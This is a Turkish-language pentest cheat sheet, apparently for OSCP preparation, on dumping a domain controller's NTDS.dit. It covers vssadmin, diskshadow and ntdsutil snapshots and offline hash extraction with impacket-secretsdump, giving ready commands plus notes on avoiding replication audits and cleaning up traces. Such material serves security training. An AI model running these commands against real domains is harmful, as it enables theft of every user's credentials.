NTDS.dit Offline Dump — VSS / diskshadow / ntdsutil Kopyasi
DC'de local admin/SYSTEM oldugunda, kilitli NTDS.dit dosyasinin shadow copy'sini al (vssadmin/diskshadow/ntdsutil IFM), SYSTEM hive ile birlikte cek ve offline secretsdump -ntds -system LOCAL ile tum domain hash'lerini bootkey kullanarak coz. DRSUAPI yerine fiziksel dosya tabanli yontem.
- DC uzerinde local admin / SeBackupPrivilege ya da SYSTEM
- Offline coz icin SYSTEM hive (bootkey) + NTDS.dit'i Kali'ye tasima
Komutlar
vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit reg save HKLM\SYSTEM C:\Windows\Temp\system.hive diskshadow /s C:\Windows\Temp\ds.txt ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL impacket-secretsdump -ntds ntds.dit -system system.hive -security security.hive LOCAL nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} --ntds vss NTDS.dit nedir, neden offline?
C:\Windows\NTDS\NTDS.dit domain’in Active Directory veritabanidir; tum kullanici/bilgisayar nesnelerini ve onlarin parola hash’lerini (NTLM, Kerberos key’leri) tutar. Calisan bir DC’de bu dosya kilitlidir (ESE database, exclusive lock) — direkt kopyalanamaz. Bu yuzden bir snapshot alman gerekir.
DCSync (ad-dcsync) replikasyon hakkiyla ag uzerinden ceker; bu sayfa ise DC’de local admin/SYSTEM oldugunda dosya tabanli alternatifi anlatir. Replikasyon trafigi/audit’i tetiklemeden, fiziksel kopyayla.
Iki parca: NTDS.dit + bootkey
NTDS.dit icindeki hash’ler, SYSTEM hive’indaki SysKey (bootkey) ile sifrelidir. Bu yuzden secretsdump’a hem -ntds (veritabani) hem -system (bootkey) vermen sart. Bootkey olmadan ntds.dit cozulemez.
Snapshot yontemleri
1. vssadmin (klasik)
vssadmin create shadow /for=C: -> shadow copy device path’inden copy ile ntds.dit’i cek -> reg save HKLM\SYSTEM ile hive’i al.
2. diskshadow (LOLBin, scriptli)
DC ortaminda vssadmin kisitliysa diskshadow /s script.txt ile ayni isi yapar; volume’u bir harfe expose edip kopyalarsin.
3. ntdsutil IFM (en temiz)
ntdsutil ... ifm ... create full komutu, ntds.dit + Registry\SYSTEM + SECURITY’i tutarli bir IFM klasorune cikarir. Tek komutta her sey hazir.
Adim adim
- Prereq: DC’de local admin/SYSTEM.
- Snapshot: vssadmin / diskshadow / ntdsutil IFM ile ntds.dit + SYSTEM hive al.
- Tasi: Iki dosyayi Kali’ye indir (
help-transfer). - Offline coz:
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL. - Sonuc: Tum domain hash’leri + krbtgt. Cleanup: shadow copy ve gecici dosyalari sil.
Gotchas
- Surum/shadow copy index’i (
HarddiskVolumeShadowCopy1) makineye gore degisir;vssadmin list shadowsile dogru path’i teyit et. -systemhive’i NTDS ile ayni makineden olmali; baska DC’nin bootkey’i ise (sub-domain vs.) cozemez.- SECURITY hive eklersen LSA secrets + cached domain creds (DCC2) de cikar — ekstra loot.
- IFM/diskshadow Event ID’ler (VSS olusturma) loglanir; OSCP’de sorun degil, gercek operasyonda iz birakir.
- ntds.dit cok buyukse (binlerce nesne) secretsdump parse uzun surebilir; sabretmek lazim.